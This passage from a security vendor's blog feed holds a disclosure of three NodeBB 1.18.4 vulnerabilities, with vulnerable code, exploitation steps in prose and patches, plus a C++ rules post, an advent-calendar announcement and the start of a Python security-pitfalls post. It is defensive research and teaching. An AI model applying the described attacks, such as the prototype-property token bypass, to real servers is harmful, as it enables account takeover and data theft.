}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Finishing on the midpoint&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The last C++20 example I’d like to share with you is a nice combination of: recognizing the intent from the pattern of code, and a common, but hard to spot pitfall that involves undefined behavior. Given two (signed) integers, a and b, if you wrote:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto m = (a + b) / 2;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;then your intention was probably to find the midpoint between them. Most of the time it probably will. Unfortunately this code may lead to integer overflow, which is undefined behavior in C++ (even in C++20, where &lt;a href=&quot;http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/p0907r4.html&quot;&gt;signed integers are twos complement&lt;/a&gt;)!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A safer way to write it, by hand, is to split the difference, and so avoiding a large intermediate value:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto m = a + (b - a) / 2;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Either way, this will now trigger &lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6179&quot;&gt;S6179&lt;/a&gt; - ‘&lt;em&gt;Replace with &amp;quot;std::midpoint&amp;quot;&lt;/em&gt;’. &lt;code&gt;std::midpoint&lt;/code&gt; usually performs the equivalent of the second form - but is always correct, and clearly conveys the intent.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;S6179 is also triggered on:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;auto i = a + (b - a) * 0.3f;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;this time encouraging us to ‘Replace with &amp;quot;std::lerp&amp;quot;’. &lt;code&gt;std::lerp&lt;/code&gt; finds the linear interpolation of two numeric values and a coefficient.&lt;/p&gt;&lt;h2&gt;Wrapping up&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There’s so much more I haven’t covered! While I briefly mentioned concepts. It’s worth adding &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6195&quot;&gt;S6195&lt;/a&gt;, which encourages us to replace &lt;code&gt;std::enable_if&lt;/code&gt; with a concept, requires clause or &lt;code&gt;if constexpr&lt;/code&gt;, as appropriate. Then we have rules for &lt;code&gt;source_location&lt;/code&gt; (&lt;a href=&quot;https://rules.sonarsource.com/cpp/tag/since-c++20/RSPEC-6190&quot;&gt;S6190&lt;/a&gt;), &lt;code&gt;std::is_constant_evaluated&lt;/code&gt; (&lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6169&quot;&gt;S6169&lt;/a&gt;), &lt;code&gt;[[no_unique_address]]&lt;/code&gt; (&lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6226&quot;&gt;S6226&lt;/a&gt;) and &lt;code&gt;[[nodiscard]]&lt;/code&gt; with a reason (&lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6166&quot;&gt;S6166&lt;/a&gt;) - and many more, with plenty still in development. We also had to go back over many older rules to update them for C++20.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both C++20 and the C++ analysis in our products (SonarLint, SonarQube and SonarCloud), aim to make your coding easier and your code safer and more performant. Putting the two together is an unbeatable combination. This post offers a taste of what you can try today and we’ll have more to share in the future - so do keep an eye on the blog.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeBB 1.18.4 - Remote Code Execution With One Shot]]></title><description><![CDATA[We recently discovered three interesting code vulnerabilities in NodeBB 1.18.4, allowing attackers to compromise servers. Find out about the details in this article!]]></description><link>https://www.sonarsource.com/blog/nodebb-remote-code-execution-with-one-shot</link><guid isPermaLink="false">ce348d22-161a-510c-a395-9363fcda055e</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 30 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Message forums are used by many companies and open source projects to exchange with their users. NodeBB is the leading JavaScript-based forum solution, having over 12k stars on GitHub. Several popular companies are using NodeBB to establish a community around their flagship products.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During recent research, we discovered three vulnerabilities in NodeBB 1.18.4 that could allow attackers to take over NodeBB instances in various ways. In this article, we take a technical deep dive into these issues, describe how they can be abused by attackers, and show how such vulnerabilities can be prevented.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our findings impact NodeBB versions before 1.18.5 and can be summarized as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Read arbitrary JSON files (CVE-2021-43788)&lt;/li&gt;&lt;li&gt;Take over user accounts via Cross-Site Scripting (CVE-2021-43787)&lt;/li&gt;&lt;li&gt;Entirely bypass authentication for any user (CVE-2021-43786)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The final impact of these vulnerabilities is Remote Code Execution on a NodeBB server, regardless of its configuration. Attackers don&amp;#x27;t need an account or any information, they can directly attack any instance that is available on the internet.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will first describe a File Read vulnerability that can be used by attackers to leak sensitive data. We will then show how it can be combined with another vulnerability to perform a Cross-Site Scripting (XSS) attack that can spread from user to user. Finally, we will analyze a third vulnerability that would allow an unauthenticated attacker to execute commands on a NodeBB server using just a single request.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Arbitrary JSON File Read (CVE-2021-43788)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to translate the user interface into a user&amp;#x27;s language, NodeBB uses translation tags in their templates which basically are identifiers that refer to a certain message that can then be loaded from the correct JSON file. They look like &lt;code&gt;[[namespace:key]]&lt;/code&gt;, where the &lt;code&gt;namespace&lt;/code&gt; specifies the file and the &lt;code&gt;key&lt;/code&gt; describes a selector inside that file. These tags can be placed anywhere on a page and will be converted into a message when the page is rendered, either on the server- or the client-side. Such functionality is usually called &lt;em&gt;i18n&lt;/em&gt;, short for &lt;em&gt;internationalization&lt;/em&gt;, and can be seen in many projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an example, the tag &lt;code&gt;[[global:403.title]]&lt;/code&gt; would correspond to the message &lt;em&gt;Access Denied&lt;/em&gt; in the following file located at &lt;code&gt;language/en-US/global.json&lt;/code&gt; when using the &lt;code&gt;en-US&lt;/code&gt; locale:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;403.title&quot;: &quot;Access Denied&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When resolving the file that corresponds to a tag&amp;#x27;s namespace, the following function is called (&lt;a href=&quot;https://github.com/NodeBB/NodeBB/blob/v1.18.4/src/languages.js#L15-L24&quot;&gt;src/languages.js&lt;/a&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Languages.get = async function (language, namespace) {
    const data = await fs.promises.readFile(
        path.join(languagesPath, language, `${namespace}.json`), 
        &apos;utf8&apos;
    );
    const parsed = JSON.parse(data) || {};
    // [...]
    return parsed;
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It uses the &lt;code&gt;namespace&lt;/code&gt; parameter to build a file system path, but the resulting path is not checked to be located in the translation directory. This leads to a Path Traversal vulnerability. It allows an attacker to read any JSON file from the file system, as long as it has the &lt;code&gt;.json&lt;/code&gt; file extension and contains valid JSON data. To extract a certain value from such a file, the attacker can use the &lt;code&gt;key&lt;/code&gt; portion of a translation tag to specify which property should be read.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This could, for example, be used to read the application&amp;#x27;s configuration which is stored in a JSON file. The config can contain database credentials or a session secret that is used to sign and verify cookies. Depending on the system that NodeBB runs on, there could be even more interesting files to read.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While there is no intended way for users to use arbitrary translation tags when they interact with a NodeBB site, there are some occasions where it is still possible. One example is the generation of HTML meta tags during the rendering of a page. When NodeBB creates the value for the &lt;code&gt;og:url&lt;/code&gt; meta tag, the current URL&amp;#x27;s path and query are used without proper sanitization, effectively reflecting their value into the server&amp;#x27;s response (&lt;a href=&quot;https://github.com/NodeBB/NodeBB/blob/v1.18.4/src/meta/tags.js#L170-L171&quot;&gt;src/meta/tags.js&lt;/a&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// [...]
const ogUrl = url + (req.originalUrl !== &apos;/&apos; ? stripRelativePath(req.originalUrl) : &apos;&apos;);
addIfNotExists(meta, &apos;property&apos;, &apos;og:url&apos;, ogUrl);
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While special HTML characters are escaped, the square brackets that start and end a translation tag are passed through as-is. This allows specifying a URL that includes a translation tag, which is then converted to its corresponding value later during rendering of the response. Attackers can use this to exploit the Path Traversal and read sensitive data. The following screenshot demonstrates how an attacker would read an instance&amp;#x27;s session secret:&lt;/p&gt;&lt;h3&gt;Wormable Cross-Site Scripting (CVE-2021-43787)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous section, we showed that attackers can use translation tags to include sensitive data into a page by using a Path Traversal issue. The same issue can also be exploited in a different way, resulting in a Cross-Site Scripting (XSS) attack that can spread from user to user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If an attacker manages to include &lt;em&gt;controlled&lt;/em&gt; data into a page by abusing translation, then they could include arbitrary HTML and JavaScript because the sanitization is performed before the tags are translated. The only thing required for this is a method to write attacker-controlled data into a JSON file that will have a known path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;NodeBB allows users to export their user profile, posts, and uploaded content. When exporting a profile, the data gets written into a JSON file with a predictable path. The file will be located at &lt;code&gt;build/export/UID_profile.json&lt;/code&gt; where &lt;code&gt;UID&lt;/code&gt; corresponds to the user that exported their profile. Since a user can enter almost anything on their profile, this is enough to create a payload that can then be inserted into a page.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To exploit this, an attacker would first create an account and insert a JavaScript payload into one of their profile fields. They would then export their profile, causing the payload to be included in a JSON file. Then, they would change their profile once again, this time including a translation tag that points to the exported profile file using the Path Traversal described previously. After that, the payload would execute every time someone visits the attacker&amp;#x27;s user profile or any of their posts if they used the signature field for the exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker can even create a payload that infects each user account that visits the attacker&amp;#x27;s profile. This would include the payload in the victim&amp;#x27;s profile too, making it spread from user to user until every account is taken over. Since this would inevitably reach an admin account, it is a powerful attack that can eventually lead to the takeover of the whole NodeBB instance.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;API Authentication Bypass (CVE-2021-43786)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next to its web UI, NodeBB also features a REST API. This API can either be used with cookie authentication, i.e. with the usual login session, or with API tokens. These tokens can be created by administrators and they have a corresponding user ID. If the specified user ID of a token is &lt;code&gt;0&lt;/code&gt; then this token will be considered to be a &lt;em&gt;master token&lt;/em&gt;. Such tokens can be used to perform actions on behalf of any user, including administrators, by specifying a user ID in the &lt;code&gt;_uid&lt;/code&gt; query parameter of each request.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These tokens can then be used as a regular &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6750#section-2.1&quot;&gt;Bearer token&lt;/a&gt; by including them in the &lt;code&gt;Authorization&lt;/code&gt; header of a request. NodeBB then checks each request&amp;#x27;s token using the following function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1   Auth.verifyToken = async function (token, done) {
 2   let { tokens = [] } = await meta.settings.get(&apos;core.api&apos;);
 3       tokens = tokens.reduce((memo, cur) =&gt; {
 4           memo[cur.token] = cur.uid;
 5           return memo;
 6       }, {});
 7   
 8       const uid = tokens[token];
 9   
10       if (uid !== undefined) {
11           if (parseInt(uid, 10) &gt; 0) {
12               done(null, {
13                   uid: uid,
14               });
15           } else {
16               done(null, {
17                   master: true,
18               });
19           }
20       } else {
21           done(false);
22       }
23   };&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the tokens are loaded in line 2, they are stored in an array where each item is an object that has a &lt;code&gt;token&lt;/code&gt; and a &lt;code&gt;uid&lt;/code&gt; property. These tokens are then merged into an object (lines 3-6), where the key is a token and the value is the corresponding user ID. Example of such a merge:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[
  { token: &apos;793a561&apos;, uid: 42 },
  { token: &apos;1a444cf&apos;, uid: 1337 },
]
// becomes:
{
  &apos;793a561&apos;: 42,
  &apos;1a444cf&apos;: 1337,
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The lookup then happens in line 8 by using the provided token to access a property and checking if its value is undefined. The vulnerability lies in the way the &lt;code&gt;tokens&lt;/code&gt; object is created and how the lookup works: since the &lt;code&gt;tokens&lt;/code&gt; object is created using an object literal (&lt;code&gt;{}&lt;/code&gt;) in line 6, it inherits all properties from &lt;code&gt;Object.prototype&lt;/code&gt;, such as &lt;code&gt;toString&lt;/code&gt; or &lt;code&gt;constructor&lt;/code&gt;. Since the lookup checks if a property is present by using the provided token as the key (line 8), this also works for these inherited properties. As a result, &lt;code&gt;toString&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;&lt;em&gt;,&lt;/em&gt; and all other keys of inherited properties are considered valid Bearer tokens.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The property’s value is then passed into &lt;code&gt;parseInt()&lt;/code&gt; to determine if this is a master token or a regular one. Since the values of the inherited properties are either functions or objects, they will all be parsed to &lt;code&gt;NaN&lt;/code&gt;, which is not greater than &lt;code&gt;0&lt;/code&gt;. As a result, the authentication succeeds with the &lt;code&gt;master&lt;/code&gt; flag set to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As discussed earlier, master tokens allow specifying the user ID that should be used for a request via the &lt;code&gt;_uid&lt;/code&gt; query parameter. Attackers can use ID &lt;code&gt;1&lt;/code&gt; because it usually belongs to an admin user, or they can list the members of the &lt;em&gt;Administrator&lt;/em&gt; user group. Since the authentication bypass works for every API call, attackers can use the whole admin API, which allows them to achieve Remote Code Execution (RCE).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because this vulnerability is quite dangerous for unpatched instances, we won&amp;#x27;t go into detail about how to actually build the final RCE exploit. However, we can say that it requires only a single request, making it interesting for cybercriminals, so make sure to patch your instance.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For the Path Traversal, the maintainers of NodeBB implemented the following fix, which is the recommended way of preventing such issues:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Languages.get = async function (language, namespace) {
    const pathToLanguageFile = path.join(languagesPath, language, `${namespace}.json`);
    if (!pathToLanguageFile.startsWith(languagesPath)) {
        throw new Error(&apos;[[error:invalid-path]]&apos;);
    }
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;path.join()&lt;/code&gt; call also normalizes the path, which then allows a simple &lt;code&gt;startsWith()&lt;/code&gt; check to validate that the resulting path is pointing to a file inside the correct folder.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The XSS issue was also partly fixed by this because attackers could not use the Path Traversal to control the result of a translation. The maintainers also removed the ability to use translation tags in user profile fields, reducing the attack surface further.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, the authentication bypass was fixed by skipping the conversion from array to object entirely and just searching the array for a matching entry:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Auth.verifyToken = async function (token, done) {
    const { tokens = [] } = await meta.settings.get(&apos;core.api&apos;);
    const tokenObj = tokens.find(t =&gt; t.token === token);
    const uid = tokenObj ? tokenObj.uid : undefined;
    // ...
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To limit the impact of similar vulnerabilities that might occur in the future, the maintainers also secured the API endpoint that allowed attackers to execute code on the server.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;We report all issues to NodeBB&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;NodeBB confirms the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;NodeBB awards us with a $1536 bounty for the findings&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-27&lt;/td&gt;&lt;td&gt;NodeBB 1.18.5 is released with patches for all issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-16&lt;/td&gt;&lt;td&gt;CVE-2021-43786, CVE-2021-43787, and CVE-2021-43788 are assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we described three vulnerabilities we found in NodeBB 1.18.4 and what the underlying root cause was. We also explained how they could be used by attackers to gain Remote Code Execution capabilities on NodeBB instances. Finally, we described the mitigations implemented by the maintainers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to give big kudos to the NodeBB team! They took the issues very seriously and implemented and released patches very fast. Since the API authentication bypass can have a severe impact, we recommend updating to at least version 1.18.5 as soon as possible.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mybb-remote-code-execution-chain&quot;&gt;MyBB Remote Code Execution Chain&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/etherpad-code-execution-vulnerabilities&quot;&gt;Etherpad 1.8.13 - Code Execution Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/smartstorenet-malicious-message-leading-to-e-commerce-takeoverhttps://&quot;&gt;SmartStoreNET - Malicious Message leading to E-Commerce Takeover&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Code Security Advent Calendar 2021]]></title><description><![CDATA[Our code security advent calendar is back for the sixth consecutive year. We will release daily challenges until December 24th, get ready to fill your bag of tricks!]]></description><link>https://www.sonarsource.com/blog/code-security-advent-calendar-2021</link><guid isPermaLink="false">097da91f-ccd3-5d0e-8361-563e0d42aec9</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 29 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are happy to announce our sixth consecutive Code Security Advent Calendar! Born at RIPS in 2016, each calendar comprises 24 little code puzzles containing hidden security vulnerabilities that wait to be spotted. This is our way to share good vibes with the community while learning and having fun together!&lt;/p&gt;&lt;h2&gt;How you can participate&lt;/h2&gt;&lt;p&gt;Starting on December 1st, we will release our code challenges on Twitter on a daily basis. Can you spot the vulnerabilities? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;Follow us on Twitter&lt;/a&gt; to be notified of each challenge, share it with your friends, and discuss solutions and feedback in the comments. We will join the discussion and share our intended solutions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;&lt;strong&gt;Challenge accepted? Follow @SonarSource on Twitter.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;What you can expect&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0fbbffca-e5c1-4860-9081-3ba326fd6844/body-6a99e2b2-ea42-4ba1-85cf-fcd57f10ba22_advent_challenge_article.png&quot; /&gt;&lt;h3&gt;Real-world code vulnerabilities&lt;/h3&gt;&lt;p&gt;At SonarSource, we spend a lot of time studying and understanding real-world vulnerabilities in order to continuously push our code analysis to the next level. We crafted 24 realistic security bugs and tricks based on what we saw in real, production code during &lt;a href=&quot;https://blog.sonarsource.com/tag/security&quot;&gt;this year&amp;#x27;s security research&lt;/a&gt;. Some of these challenges may look harder than usual at first, but don’t worry: play around with the code snippet, experiment, and enjoy the “aha moment” when you discover the answer! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We want to make this event enjoyable for all skill sets and levels, so we&amp;#x27;ll release hints throughout the day (if needed) and a detailed solution after 24 hours. To learn as much as you can from these challenges and get a grasp on all the “tricks” involved, do not just identify the impact of the vulnerability (say, Remote Code Execution), but try to think of how it could be exploited, what would be the steps to follow, etc. &lt;/p&gt;&lt;h3&gt;Even more languages!&lt;/h3&gt;&lt;p&gt;Our code analysis technology is constantly improved to detect vulnerabilities in the most popular programming languages. &lt;a href=&quot;https://blog.sonarsource.com/code-security-advent-calendar-2020&quot;&gt;Last year&lt;/a&gt;, we crafted challenges for 4 server-side languages, namely &lt;strong&gt;Java&lt;/strong&gt;, &lt;strong&gt;C#&lt;/strong&gt;, &lt;strong&gt;PHP &lt;/strong&gt;and &lt;strong&gt;Python&lt;/strong&gt;. This year, we decided to also cover &lt;strong&gt;C / C++&lt;/strong&gt; and &lt;strong&gt;JavaScript&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And even if the day’s security challenge isn’t in your favorite language it’s worth looking at because the principles carry across languages and will sharpen your security skills for 2022.&lt;/p&gt;&lt;h3&gt;With 24 Vulnerabilities and Security Hotspots&lt;/h3&gt;&lt;p&gt;Our products support over 4,000 rules because there are many different kinds of mistakes you can make on the way to &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;writing clean code&lt;/a&gt;. In this year’s Code Security Advent Calendar, we focus on 24 different types of vulnerabilities that can have a major impact on your application and user security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every challenge will hide at least one security flaw. Sometimes it&amp;#x27;s based on unvalidated or unsanitized user input, sometimes on a bad configuration, and sometimes it&amp;#x27;s a harmless-looking feature that can be abused by attackers.&lt;/p&gt;&lt;h3&gt;Gifts&lt;/h3&gt;&lt;p&gt;Our elves will look carefully at all your answers. The most active players with the best solutions will be contacted on Twitter after the end of our Code Security Advent Calendar to receive a cool swag pack. Let’s get started!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;&lt;strong&gt;Subscribe to our Code Security Advent Calendar&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/intent/tweet?text=Challenge%20accepted%3A%20join%20me%20in%20the%20%40SonarSource%20Code%20Security%20Advent%20Calendar!%0A%0A%F0%9F%93%85%2024%20daily%20code%20security%20puzzles%20for%20developers%0A%F0%9F%8E%84%20For%20all%20developers%3A%20Java%2C%20C%23%2C%20PHP%2C%20Python%2C%20C%20%2F%20C%2B%2B%2C%20JavaScript...%0A%F0%9F%8E%81%20Gifts%20for%20the%20best%20bug%20hunters!%0A%0A&amp;hashtags=codeadvent2021&amp;url=https%3A%2F%2Fblog.sonarsource.com%2Fcode-security-advent-calendar-2021&quot;&gt;&lt;strong&gt;Share your excitement in a Tweet&lt;/strong&gt; &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We wish you all a happy and healthy December season!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;If you don’t use Twitter you can also join the discussion in &lt;a href=&quot;https://community.sonarsource.com/t/code-security-advent-calendar-2021/&quot;&gt;our community forum.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[10 Unknown Security Pitfalls for Python]]></title><description><![CDATA[In this blog post, we share 10 security pitfalls for Python developers that we encountered in real-world projects.]]></description><link>https://www.sonarsource.com/blog/10-unknown-security-pitfalls-for-python</link><guid isPermaLink="false">89272383-c1d5-537f-9da3-7fde026547c6</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 16 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Python developers trust their applications to have a solid security state due to the use of standard libraries and common frameworks. However, within Python, just like in any other programming language, there are certain features that can be misleading or misused by developers. Often it is only a very minor subtlety or detail that can make developers slip and add a severe security vulnerability to the code base.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we share 10 security pitfalls we encountered in real-world Python projects. We chose pitfalls that we believe are less known in the developer community. By explaining each issue and its impact we hope to raise awareness and sharpen your security mindset. If you are using any of these features, make sure to check your Python code!&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;1. Optimized Asserts&lt;/h2&gt;&lt;p&gt;Python offers the ability to execute code in an optimized way. This allows the code to run faster and with less memory. It is especially effective when the application is used on a large scale or when there are few resources available. Some pre-packaged Python applications are provided with optimized bytecode. However, when code is optimized, all &lt;code&gt;assert&lt;/code&gt; statements are ignored. These are sometimes used by developers to assess certain conditions within the code. If an &lt;code&gt;assert&lt;/code&gt; is used, for example, as part of an authentication check this can lead to a security bypass.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def superuser_action(request, user):
    assert user.is_super_user
    # execute action as super user
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In this example, the assert statement in line 2 would be ignored and every non-super user could reach the next lines of code. It is not recommended to use assert statements for security-related checks but we do see them in real-world applications.&lt;/p&gt;&lt;h2&gt;2. MakeDirs Permissions&lt;/h2&gt;&lt;p&gt;The function &lt;code&gt;os.makedirs&lt;/code&gt; creates one or more folders in the file system. Its second parameter &lt;code&gt;mode&lt;/code&gt; is used to specify the default permission of the created folders. In line 2 of the following code snippet, the folders A/B/C are created with &lt;code&gt;rwx------&lt;/code&gt; (0o700) permission. This implies that only the current user (owner) has read, write and execute rights for these folders.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def init_directories(request):
    os.makedirs(&quot;A/B/C&quot;, mode=0o700)
    return HttpResponse(&quot;Done!&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In Python &amp;lt; 3.6, the folders A, B and C are each created with permission 700. However, in Python &amp;gt; 3.6, only the last folder C has permission 700 and the other folders A and B are created with the default permission 755. So, with Python &amp;gt; 3.6, the function &lt;code&gt;os.makedirs&lt;/code&gt; has the same properties as the Linux command: &lt;code&gt;mkdir -m 700 -p A/B/C&lt;/code&gt;. Some developers are unaware of the difference between the versions and it has already led to a permission escalation vulnerability in Django (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-24583&quot;&gt;CVE-2020-24583&lt;/a&gt;) and, in a very similar way, to a &lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass&quot;&gt;hardening bypass in WordPress&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;3. Absolute Path Joins&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;os.path.join(path, 